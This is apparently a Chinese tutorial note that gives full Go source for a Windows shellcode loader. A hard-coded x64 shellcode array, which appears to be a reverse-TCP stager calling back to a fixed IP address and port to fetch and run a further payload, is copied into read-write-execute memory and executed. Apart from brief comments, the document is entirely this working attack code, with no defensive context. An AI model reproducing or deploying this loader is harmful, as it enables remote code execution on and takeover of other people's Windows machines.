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2.2_GO语言shellcodeloader.md

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GO语言shellcodeloader

package main

import (
	"fmt"
	"github.com/lxn/win"
	"golang.org/x/sys/windows"
	"syscall"
	"unsafe"
)

func main() {
	decodedShellcode := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00,
		0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x48, 0x31, 0xd2, 0x65, 0x48,
		0x8b, 0x52, 0x60, 0x56, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20,
		0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
		0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1,
		0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x48, 0x8b, 0x52, 0x20,
		0x41, 0x51, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18,
		0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x88, 0x00,
		0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x44, 0x8b,
		0x40, 0x20, 0x8b, 0x48, 0x18, 0x49, 0x01, 0xd0, 0x50, 0xe3, 0x56, 0x4d,
		0x31, 0xc9, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6,
		0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38,
		0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75,
		0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
		0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
		0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41,
		0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff,
		0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4b, 0xff, 0xff,
		0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x00, 0x00,
		0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, 0x00,
		0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x00, 0x04, 0x57, 0xac, 0x14, 0x0c,
		0x2e, 0x41, 0x54, 0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c,
		0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68, 0x01, 0x01, 0x00,
		0x00, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x0a,
		0x41, 0x5e, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff,
		0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba,
		0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41,
		0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x99, 0xa5, 0x74,
		0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c, 0x49, 0xff, 0xce, 0x75, 0xe5,
		0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x83, 0xec, 0x10, 0x48,
		0x89, 0xe2, 0x4d, 0x31, 0xc9, 0x6a, 0x04, 0x41, 0x58, 0x48, 0x89, 0xf9,
		0x41, 0xba, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20,
		0x5e, 0x89, 0xf6, 0x6a, 0x40, 0x41, 0x59, 0x68, 0x00, 0x10, 0x00, 0x00,
		0x41, 0x58, 0x48, 0x89, 0xf2, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x58, 0xa4,
		0x53, 0xe5, 0xff, 0xd5, 0x48, 0x89, 0xc3, 0x49, 0x89, 0xc7, 0x4d, 0x31,
		0xc9, 0x49, 0x89, 0xf0, 0x48, 0x89, 0xda, 0x48, 0x89, 0xf9, 0x41, 0xba,
		0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x48, 0x01, 0xc3, 0x48, 0x29, 0xc6,
		0x48, 0x85, 0xf6, 0x75, 0xe1, 0x41, 0xff, 0xe7}

	// 获取 kernel32.dll 中的 VirtualAlloc 函数
	kernel32, _ := syscall.LoadDLL("kernel32.dll")
	VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

	// 分配内存并写入 shellcode 内容
	allocSize := uintptr(len(decodedShellcode))
	mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
	if mem == 0 {
		panic("VirtualAlloc failed")
	}
	buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
	copy(buffer, decodedShellcode)

	// 执行 shellcode
	syscall.Syscall(mem, 0, 0, 0, 0)
}